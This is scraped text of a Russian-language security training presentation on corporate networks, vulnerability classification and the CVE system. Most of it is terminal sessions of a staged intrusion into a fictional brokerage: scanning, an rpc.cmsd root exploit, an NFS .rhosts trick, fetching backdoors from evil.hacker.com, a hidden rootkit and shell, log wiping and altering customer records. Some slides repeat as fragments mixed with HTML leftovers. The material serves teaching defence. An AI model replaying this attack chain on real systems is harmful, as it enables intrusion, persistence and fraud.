Слайд 1 Типовая корпоративная сеть, понятие уязвимости и атаки. - презентация

1 Слайд 1 Типовая корпоративная сеть, понятие уязвимости и атаки

2 Слайд 2 Типовая корпоративная сеть Внутренние серверы Рабочие места DMZ-1 DMZ-2 Филиал Мобильные сотрудники РесурсыInternet Пользователи Internet МЭ

3 Слайд 3 Уровни информационной инфраструктуры ПРИЛОЖЕНИЯ СУБД ОС СЕТЕВЫЕ СЛУЖБЫ ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ ПОЛЬЗОВАТЕЛИ

4 Слайд 4 Уровни информационной инфраструктуры ПРИЛОЖЕНИЯ СУБД ОС СЕТЕВЫЕ СЛУЖБЫ ПОЛЬЗОВАТЕЛИ TCP/IPNetBEUIIPX/SPX

5 Слайд 5 Уровни информационной инфраструктуры ПРИЛОЖЕНИЯ СУБД ОС СЕТЕВЫЕ СЛУЖБЫ ПОЛЬЗОВАТЕЛИ

6 Слайд 6 Уровни информационной инфраструктуры ПРИЛОЖЕНИЯ СУБД ОС СЕТЕВЫЕ СЛУЖБЫ ПОЛЬЗОВАТЕЛИ

7 Слайд 7 Уровни информационной инфраструктуры ПРИЛОЖЕНИЯ СУБД ОС СЕТЕВЫЕ СЛУЖБЫ ПОЛЬЗОВАТЕЛИ

8 Слайд 8 Уровни информационной инфраструктуры ПРИЛОЖЕНИЯ СУБД ОС СЕТЕВЫЕ СЛУЖБЫ ПОЛЬЗОВАТЕЛИ

9 Слайд 9 Пример атаки ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ

10 Слайд 10

11 Слайд 11 WHOIS Search

12 Слайд 12 ACMETRADE.COM

13 Слайд 13 Registrant: Acmetrade.com, Inc. (ACMETRADE-DOM) 6600 Peachtree Dunwoody Road Atlanta, GA Domain Name: ACMETRADE.COM Administrative Contact: Vaughn, Danon (ES2394) (678) (FAX) (678) Technical Contact, Zone Contact: Bergman, Bret (ET2324) (678) (FAX) (678) Billing Contact: Fields, Hope (ET3427) (678) (FAX) (678) Record Last updated on 27-Jul-99. Record created on 06-Mar-98. Database last updated on 4-Oct-99 09:09:01 EDT Domain servers in listed order: dns.acmetrade.com www1.acmetrade.com www2.acmetrade.com

14 Слайд 14

15 Слайд 15

16 Слайд 16

17 Слайд 17 hacker]$ nmap Starting nmap V by ( ) Interesting ports on ( ): (The 1516 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 25/tcp open smtp 80/tcp open http 135/tcp open loc-srv 139/tcp open netbios-ssn 443/tcp open https 465/tcp open smtps Nmap run completed -- 1 IP address (1 host up) scanned in 1 second hacker]$

18 Слайд 18 hacker:/export/home/hacker>./rpcscan dns.acmetrade.com cmsd Scanning dns.acmetrade.com for program cmsd is on port hacker:/export/home/hacker>

19 Слайд 19

20 Слайд 20

21 Слайд 21 hacker:/export/home/hacker> id uid=1002(hacker) gid=10(staff) hacker:/export/home/hacker> uname -a SunOS evil.hacker.com 5.6 Generic_ sun4u sparc SUNW,UltraSPARC-IIi-Engine hacker:/export/home/hacker>./cmsd dns.acmetrade.com using source port 53 rtable_create worked Exploit successful. Portshell created on port hacker:/export/home/hacker> Trying Connected to dns.acmetrade.com. Escape character is '^]'. # id uid=0(root) gid=0(root) # uname -a SunOS dns Generic_ sun4m sparc SUNW,SPARCstation-5 # telnet dns.acmetrade.com 33505

22 Слайд 22 # # nslookup Default Server: dns.acmetrade.com Address: > > ls acmetrade.com Received 15 records. ^D [dns.acmetrade.com] www1.acmetrade.com www2.acmetrade.com margin.acmetrade.com marketorder.acmetrade.com deriv.acmetrade.com deriv1.acmetrade.com bond.acmetrade.com ibd.acmetrade.com fideriv.acmetrade.com backoffice.acmetrade.com wiley.acmetrade.com bugs.acmetrade.com fw.acmetrade.com fw1.acmetrade.com

23 Слайд 23 # # # # rpcinfo -p | grep mountd udp 643 mountd tcp 647 mountd showmount -e /usr/localserver2, server3, server4 /export/home sunspot rpcinfo -p www1.acmetrade.com | grep mountd udp 643 mountd tcp 647 mountd showmount -e www1.acmetrade.com /data1server2 /aengineering /bengineering /cengineering /export/home(everyone) export list for #

24 Слайд 24 nfs

25 Слайд 25 nfsshell.c

26 Слайд 26 /data1server2 /aengineering /bengineering /cengineering /export/home(everyone) Export list for www1.acmetrade.com: nfs> mount /export/home Mount www1.acmetrade.com[ ]:/export/home nfs> ls bill bob celeste chuck dan dave jenn zack nfs> ls –l bob drwxr-xr-x May bob - protocol: UDP/IP - transfer size: 8192 bytes nfs> cd bob uid 201 gid 1 # nfsshell nfs> host www1.acmetrade.com Open www1.acmetrade.com[ ] (mountd) using UDP/IP nfs> export

.rhosts $exit nfs> put.rhosts cat.rhosts + nfs> exit # rlogin -l bob www1.acmetrade.com Last login: W" title="Слайд 27 nfs>status User id : 201 Group id : 1 Remote host : www1.acmetrade.com Mount path : /export/home Transfer size: 8192 nfs> !sh $ echo "+ +" >.rhosts $exit nfs> put.rhosts cat.rhosts + nfs> exit # rlogin -l bob www1.acmetrade.com Last login: W" class="link_thumb"> 27 Слайд 27 nfs>status User id : 201 Group id : 1 Remote host : www1.acmetrade.com Mount path : /export/home Transfer size: 8192 nfs> !sh $ echo "+ +" >.rhosts $exit nfs> put.rhosts cat.rhosts + nfs> exit # rlogin -l bob www1.acmetrade.com Last login: Wed Mar 3 10:46:52 from somebox.internal.acmetrade.com www1% whoami bob www1% pwd /export/home/bob www1 % uname -a SunOS www1.acmetrade.com Generic_ sun4d SUNW,SPARCserver-1000 www1% cat.rhosts + .rhosts $exit nfs> put.rhosts cat.rhosts + nfs> exit # rlogin -l bob www1.acmetrade.com Last login: W"> .rhosts $exit nfs> put.rhosts cat.rhosts + nfs> exit # rlogin -l bob www1.acmetrade.com Last login: Wed Mar 3 10:46:52 from somebox.internal.acmetrade.com www1% whoami bob www1% pwd /export/home/bob www1 % uname -a SunOS www1.acmetrade.com 5.5.1 Generic_103640-24 sun4d SUNW,SPARCserver-1000 www1% cat.rhosts +"> .rhosts $exit nfs> put.rhosts cat.rhosts + nfs> exit # rlogin -l bob www1.acmetrade.com Last login: W" title="Слайд 27 nfs>status User id : 201 Group id : 1 Remote host : www1.acmetrade.com Mount path : /export/home Transfer size: 8192 nfs> !sh $ echo "+ +" >.rhosts $exit nfs> put.rhosts cat.rhosts + nfs> exit # rlogin -l bob www1.acmetrade.com Last login: W">

28 Слайд 28

29 Слайд 29

30 Слайд 30 www1% ls -la /usr/bin/eject -r-sr-xr-x 1 root bin Jul /usr/bin/eject* www1% gcc -o eject_overflow eject_overflow.c./eject_overflow Jumping to address 0xeffff630 B[364] E[400] SO[400] # whoami root # ftp evil.hacker.com Connected to evil.hacker.com. Name (evil.hacker.com:root): 331 Password required for hacker. Password: 230 User hacker logged in. Remote system type is UNIX. Using binary mode to transfer files. hacker eye0wnu 220 evil.hacker.com FTP server (HackerOS) ready.

31 Слайд 31 ftp> cd solaris_backdoors 250 CWD command successful. ftp> get solaris_backdoor.tar.gz 200 PORT command successful. 150 Binary data connection for out ,1152). 226 Transfer complete bytes sent in secs (4.7Kbytes/sec) ftp> quit tar -xf module_backdoor.tar cd /tmp/my_tools gunzip module_backdoor.tar.gz # # #

32 Слайд 32 # cd /tmp/my_tools/module_backdoor #./configure Enter directories and filenames to hide from ls, find, du: # make gcc -c backdoor.c gcc -o installer installer.c ld –o backdoor –r backdoor.o # Makefile backdoor backdoor.c backdoor.o config.h configure installer installer.c ls # # modload backdoor./installer -d /usr/local/share/... Adding directory... Fixing last modified time... Fixing last accessed time backdoor Enter class C network to hide from netstat: Enter process names to hide from ps and lsof: creating config.h sniffer

33 Слайд 33 # ls -la /usr/local/share/......: No such file or directory # # # # # #./installer backdoor /usr/local/share/.../backdoor Installing file... Fixing last modified time... Fixing last accessed time... echo "/usr/sbin/modload /usr/local/share/.../backdoor" >>/etc/init.d/utmpd # cd.. rm -rf module_backdoor ls inetd_backdoor/ logedit sniffer./installer sniffer /usr/local/share/.../sniffer Installing file... Fixing last modified time... Fixing last accessed time... ls /usr/local/share/.../sniffer /usr/local/share/.../sniffer: No such file or directory # cd /usr/local/share/... #./sniffer > out & # ps -aef | grep sniffer # >/etc/init.d/utmpd # cd.. rm -rf module_backdoor ls inetd_backdoor/ logedit sniffer./installer sniffer /usr/local/share/.../sniffer Installing file... Fixing last modified time... Fixing last accessed time... ls /usr/local/share/.../sniffer /usr/local/share/.../sniffer: No such file or directory # cd /usr/local/share/... #./sniffer > out & # ps -aef | grep sniffer #">

34 Слайд 34 # netstat TCP Local Address Remote Address Swind Send-Q Rwind Recv-Q State ESTABLISHED ESTABLISHED ESTABLISHED # cd /tmp/my_tools # cd inetd_backdoor # ls config.h configure inetd.c installer.c #./configure Enter port for hidden shell: # make gcc -s -DSYSV=4 -D__svr4__ -DSOLARIS -o inetd inetd.c -lnsl -lsocket -lresolv gcc -o installer installer.c # installer inetd /usr/sbin/inetd Installing file... Fixing last modified time... Fixing last accessed time... creating config.h... creating Makefile

35 Слайд 35 Trying Escape character is '^]'. telnet www1.acmetrade.com Granting rootshell... # hostname www1 # whoami root # # ps –aef | grep inetd root May 10 ? 1:26 /usr/sbin/inetd -s # # kill –9 179 # exit /usr/sbin/inetd –s & Connection closed by foreign host. hacker:/export/home/hacker>

36 Слайд 36 hacker:/export/home/hacker> ftp www1.acmetrade.com Connected to www1 220 www1.acmetrade.com FTP service (Version 2.5). Name: root 331 Password required for root. Password: ******* 230 User root logged in. Remote system type is Unix. ftp> put backdoor.html securelogin.html 200 PORT command successful. 150 Opening BINARY mode data connection for index.html 226 Transfer complete. ftp> quit 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 10 -rwxr-xr-x 9 root other 1024 Aug 17 17:07. -rwxr-xr-x 9 root other 1024 Aug 17 17:07.. -rwxr-xr-x 2 www www 2034 Aug 17 17:07 index.html -rwxr-xr-x 2 www www 1244 Aug 17 17:07 securelogin.html -rwxr-xr-x 2 www www 1024 Aug 17 17:07 image2. gif -rwxr-x--x 6 www www 877 Aug 17 17:07 title.gif -rwxr-xr-x 2 www www 1314 Aug 17 17:07 frontpage.jpg 226 Transfer complete. bytes received in 0.82 seconds (0.76 Kbytes/sec) ftp> dir ftp> cd /usr/local/httpd

37 Слайд 37 program vers proto port service tcp 111 rpcbind tcp 111 rpcbind tcp 111 rpcbind udp 111 rpcbind udp 111 rpcbind udp 111 rpcbind udp 753 ypserv udp 753 ypserv tcp 754 ypserv tcp ypserv udp udp ypbind udp ypbind udp ypbind tcp ypbind tcp ypbind tcp ypbind udp rquotad udp udp udp udp udp status tcp status udp 4045 nlockmgr udp 4045 nlockmgr # rpcinfo -p backoffice.acmetrade.com

38 Слайд udp 4045 nlockmgr udp 4045 nlockmgr tcp 4045 nlockmgr tcp 4045 nlockmgr tcp 4045 nlockmgr tcp 4045 nlockmgr udp mountd udp mountd udp mountd tcp mountd tcp mountd tcp mountd tcp udp 2049 nfs udp 2049 nfs udp 2049 nfs_acl udp 2049 nfs_acl tcp 2049 nfs tcp 2049 nfs tcp 2049 nfs_acl tcp 2049 nfs_acl # # grep ttdbserverd /etc/inetd.conf /1tlirpc/tcp wait root /usr/dt/bin/rpc.ttdbserverd rpc.ttdbserverd rpcinfo -p backoffice.acmetrade.com | grep tcp # cd /tmp/mytools/warez

39 Слайд 39 Please wait for your root shell. #./tt backoffice.acmetrade.com hostname backoffice whoami root # find / -type f -name.rhosts -print /.rhosts /export/home/chuck/.rhosts /export/home/bill/.rhosts /export/home/larry/.rhosts # cat /.rhosts fideriv.acmetrade root ibd.acmetrade root bugs.acmetraderoot # w 10:20pm up 13:15, 1 user, load average: 0.01, 0.02, 0.03 User tty idle JCPU PCPU what root console 9:27am 147:52 14:41 14:14 /sbin/sh root pts/5 9:24pm /sbin/sh # # # /tmp/mytools/logedit root pts/5 # w 10:20pm up 13:15, 1 user, load average: 0.01, 0.02, 0.03 User tty idle JCPU PCPU what root console 9:27am 147:52 14:41 14:14 /sbin/sh

40 Слайд 40 # sqlplus oracle/oracle SQL> describe customers NameNull?Type LNAMENOT NULL VARCHAR2(20) FNAMENOT NULL VARCHAR2(15) ADDR1NOT NULL VARCHAR2(30) ZIPNOT NULL NUMBER(5) PHONENOT NULL CHAR(12) ACCOUNT_NUMNOT NULL NUMBER(12) BALANCENOT NULL NUMBER(12) MARGIN_LIMITNOT NULL NUMBER(12) ACCT_OPENNOT NULL DATE SQL> select LNAME, FNAME, ACCOUNT_NUM, MARGIN_LIMIT from customers where LNAME = 'Gerulski'; LNAME FNAMEACCOUNT_NUM MARGIN_LIMIT Gerulski David SQL> update customers set MARGIN_LIMIT = where LNAME = 'Gerulski'; select LNAME, MARGIN_LIMIT from customers where LNAME = 'Gerulski'; LNAME MARGIN_LIMIT Gerulski SQL> exit

41 Слайд 41

42 Слайд 42 AcmeTrades Network UNIX Firewall DNS Server Web Server Filtering Router NT Clients & Workstations Network UNIX NTUNIX rpc.cmsd nfs / eject

43 Слайд 43 Угрозы, уязвимости и атаки Атака - действие нарушителя, которое приводит к реализации угрозы путем использования уязвимостей информационной системы. Угроза - потенциально возможное событие, явление или процесс, которое воздействуя на компоненты информационной системы может привести к нанесению ущерба. Уязвимость - любая характеристика или свойство информационной системы, использование которой нарушителем может привести к реализации угрозы.

44 Слайд 44 ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ Классификация уязвимостей узлов, протоколов и служб IP - сетей узлов, протоколов и служб IP - сетей

45 Слайд 45 Классификация по уровню в информационной инфраструктуре Уровень сети Уровень операционной системы Уровень баз данных Уровень персонала Уровень приложений

46 Слайд 46 Классификация уязвимостей по причинам возникновения ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ ошибки проектирования (технологий, протоколов, служб) ошибки реализации (программ) ошибки эксплуатации (неправильная настройка, неиспользуемые сетевые службы, слабые пароли)

47 Слайд 47 Высокий Высокий уровень риска Средний Средний уровень риска Низкий Низкий уровень риска Классификация уязвимостей по уровню (степени) риска ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ Уязвимости, позволяющие атакующему получить непосредственный доступ у узлу с правами суперпользователя Уязвимости, позволяющие атакующему получить доступ к информации, которая с высокой степенью вероятности позволит в последствии получить доступ к узлу Уязвимости, позволяющие злоумышленнику осуществлять сбор критичной информации о системе

48 Слайд 48 Источники информации о новых уязвимостях о новых уязвимостях - координационный центр CERT/CC - база данных компании ISS llnl.ciac.gov - центр CIAC - российский CERT/CC

49 Слайд 49

50 Слайд 50 Примеры уязвимостей Уровень: Уровень: сеть Степень риска: Степень риска: средняя Источник возникновения: Источник возникновения: ошибки реализации Описание Описание: посылка большого числа одинаковых фрагментов IP-датаграммы приводит к недоступности узла на время атаки Название: Название: ip-fragment-reassembly-dos

51 Слайд 51 Уровень: Уровень: ОС Степень риска: Степень риска: высокая Источник возникновения: Источник возникновения: ошибки реализации Название: Название: nt-getadmin-present Описание Описание: проблема одной из функций ядра ОС Windows NT, позволяющая злоумышленнику получить привилегии администратора Примеры уязвимостей

52 Слайд 52 Уровень: Уровень: СУБД Степень риска: Степень риска: низкая Источник возникновения: Источник возникновения: ошибки реализации Название: Название: mssql-remote-access-option Описание Описание: уязвимость в реализации возможности подключения со стороны других SQL-серверов Примеры уязвимостей

53 Слайд 53 Уровень: Уровень: приложения Степень риска: Степень риска: средняя Источник возникновения: Источник возникновения: ошибки реализации Название: Название: iis-url-extension-data-dos Описание Описание: посылка большого числа некорректно построенных запросов приводит к повышенному расходу ресурсов процессора Примеры уязвимостей

54 Слайд 54 Уровень: Уровень: приложения Степень риска: Степень риска: средняя Источник возникновения: Источник возникновения: ошибки реализации Название: Название: win-udp-dos Описание Описание: OC Windows 2000 и Windows 98 уязвимы к атаке «отказ в обслуживании», вызываемой исчерпанием всех UDP-сокетов Примеры уязвимостей

55 Слайд 55 Уровень: Уровень: Персонал Степень риска: Степень риска: высокая Источник возникновения: Источник возникновения: ошибки обслуживания Название: Название: win95-back-orifice Описание Описание: узел заражён серверной частью троянского коня, позволяющей установить полный контроль над узлом Примеры уязвимостей

56 Слайд 56 Единая система наименований для уязвимостей Стандартное описание для каждой уязвимости Обеспечение совместимости баз данных уязвимостей

57 Слайд 57 CAN CVE Кандидат CVE Индекс CVE

58 Слайд 58 Ситуация без CVE ISS RealSecure CERT Advisory Cisco Database Axent NetRecon land attack (spoofed SYN) Impossible IP Packet Bugtrag CA Teardrop_Land Land NT4-SP3and 95 [latierra.c] Уязвимость Land IP denial of service

59 Слайд 59 Поддержка CVE CVE Land IP denial of service CVE CERT Advisory Bugtrag ISS RealSecure Cisco Database Axent NetRecon

60 Слайд 60 CVE entry CVE Arbitrary command execution via IMAP buffer overflow in authenticate command. Reference: CERT:CA imapd Reference: SUN:00177 Reference: BID:130 Reference: XF:imap-authenticate-bo Номер Описание Ссылки

61 Слайд 61 Классификация атак в IP- сетях

62 Слайд 62 Классификация атак по целям Нарушение нормального функционирования Нарушение нормального функционирования объекта атаки (отказ в обслуживании) объекта атаки (отказ в обслуживании) ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ

63 Слайд 63 Классификация атак по целям Нарушение нормального функционирования Нарушение нормального функционирования объекта атаки (отказ в обслуживании) объекта атаки (отказ в обслуживании) ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ Получение конфиденциальной информации Получение конфиденциальной информации

64 Слайд 64 Классификация атак по целям Нарушение нормального функционирования Нарушение нормального функционирования объекта атаки (отказ в обслуживании) объекта атаки (отказ в обслуживании) ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ Получение конфиденциальной информации Получение конфиденциальной информации Модификация или фальсификация Модификация или фальсификация критичных данных критичных данных

65 Слайд 65 Классификация атак по целям Нарушение нормального функционирования Нарушение нормального функционирования объекта атаки (отказ в обслуживании) объекта атаки (отказ в обслуживании) ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ Получение конфиденциальной информации Получение конфиденциальной информации Модификация или фальсификация Модификация или фальсификация критичных данных критичных данных Получение полного контроля над Получение полного контроля над объектом атаки объектом атаки

66 Слайд 66 Классификация атак по местонахождению атакующего и объекта атаки Атакующий и объект атаки находятся в одном сегменте Атакующий и объект атаки находятся в разных сегментах ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ Маршру- тизатор

67 Слайд 67 Классификация атак по механизмам реализации Провоцирование отказа объекта (компонента) Подозрительная активность (разведка) Запуск кода (программы) на объекте атаки Бесполезное расходование вычислительных ресурсов (перегрузка) Нарушение навигации (ложный маршрут) Пассивное прослушивание ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ

68 Слайд 68 Статистика по уязвимостям и атакам за 2000 год Источник: Internet Security Systems

69 Слайд 69 Top Linux Buffer Overflows 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications 6. Open Sendmail 7. File Sharing 8. RPC 9. Bind 1. Denial of Service Exploits

70 Слайд 70 Linux Buffer Overflows Wu-ftp BO IMAP BO Qpopper BO Overwrite stack Common script kiddie exploits Poor coding standards Переполнение буфера в Linux - приложениях

71 Слайд Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications 6. Open Sendmail 7. File Sharing 8. RPC 1. Denial of Service Exploits 10. Linux Buffer Overflows 9. Bind Top 10

72 Слайд 72 Уязвимости BIND BIND qinv –Compile flag turned on by default, activated buffer-overflow, client request to server, script kiddie BIND nxt –Server to server response, buffer handling overflowable, more advanced

73 Слайд Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications 6. Open Sendmail 7. File Sharing 1. Denial of Service Exploits 9. Bind 10. Linux Buffer Overflows 8. RPC (Remote Procedure Calls) Top 10

74 Слайд 74 RPC (Remote Procedure Calls) rpc.cmsd (sun-rpc.cmsd) rpc-statd (sun-rpc-statd) Sadmin (sol-sadmind-amslverify-bo) Amd (amd-bo) Mountd (linux-mountd-bo)

75 Слайд RPC 9. Bind 10. Linux Buffer Overflows 7. File Sharing 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications 6. Open Sendmail 1. Denial of Service Exploits Top 10

76 Слайд 76 File Sharing Netbios NFS Троянские кони + + Rhosts для Unix - серверов Предоставление доступа к общим ресурсам

77 Слайд Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications 1. Denial of Service Exploits 7. File Sharing 8. RPC 9. Bind 10. Linux Buffer Overflows 6. Open (электронная почта) Top 10

78 Слайд 78 Электронная почта Sendmail Pipe Attack (smtp-pipe) Sendmail MIMEbo root access (sendmail-mime-bo2) Incoming viruses, LOVE Many localhost getroot exploits for sendmail Attacks may by-pass firewalls that allow incoming directly to internal

79 Слайд Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 1. Denial of Service Exploits 6. Open 7. File Sharing 8. RPC 9. Bind 10. Linux Buffer Overflows 5. E-Business Web Applications Top 10

80 Слайд 80 E-business Web Applications NetscapeGetBo (netscape-get-bo) control server HttpIndexserverPath (http-indexserver-path) path info Frontpage Extensions (frontpage-ext) readable passwords FrontpagePwdAdministrators (frontpage-pwd-administrators) reveal pwd

81 Слайд Weak Accounts 3. IIS (Microsoft Internet Information Server) 1. Denial of Service Exploits 5. E-Business Web Applications 6. Open 7. File Sharing 8. RPC 9. Bind 10. Linux Buffer Overflows 4. Open Databases Top 10

82 Слайд 82 Open Databases Oracle default account passwords Oracle setuid root oratclsh SQL Server Xp_sprintf buffer overflow SQL Server Xp_cmdshell extended

83 Слайд Open Databases 5. E-Business Web Applications 6. Open 7. File Sharing 8. RPC 9. Bind 10. Linux Buffer Overflows 3. IIS (Microsoft Internet Information Server) 2. Weak Accounts 1. Denial of Service Exploits Top 10

84 Слайд 84 IIS (Microsoft Internet Information Server) RDS HTR Malformed header Htdig Remote Shell Execution PWS File Access CGI Lasso read arbitrary files PHP3 safe mode metachar remote execution PHP mlog.html read files

85 Слайд IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications 6. Open 7. File Sharing 8. RPC 9. Bind 10. Linux Buffer Overflows 2. Weak Accounts (слабые пароли) 1. Denial of Service Exploits Top 10

86 Слайд 86 Слабые пароли Бюджеты по умолчанию –Routers –Servers No set Passwords for admin/root accounts SNMP with public/private community strings set

87 Слайд Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications 6. Open 7. File Sharing 8. RPC 9. Bind 10. Linux Buffer Overflows 1. Denial of Service Exploits Top 10

88 Слайд 88 Атаки «Denial of Service» Trinity TFN TFN2k Trin00 Stacheldraht FunTime –Windows platform (W9x/2K/NT) –Preprogrammed for specific time and target All are distributed for maximum effect

89 Слайд Denial of Service Exploits 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications 6. Open 7. File Sharing 8. RPC 9. Bind 10. Linux Buffer Overflows Top 10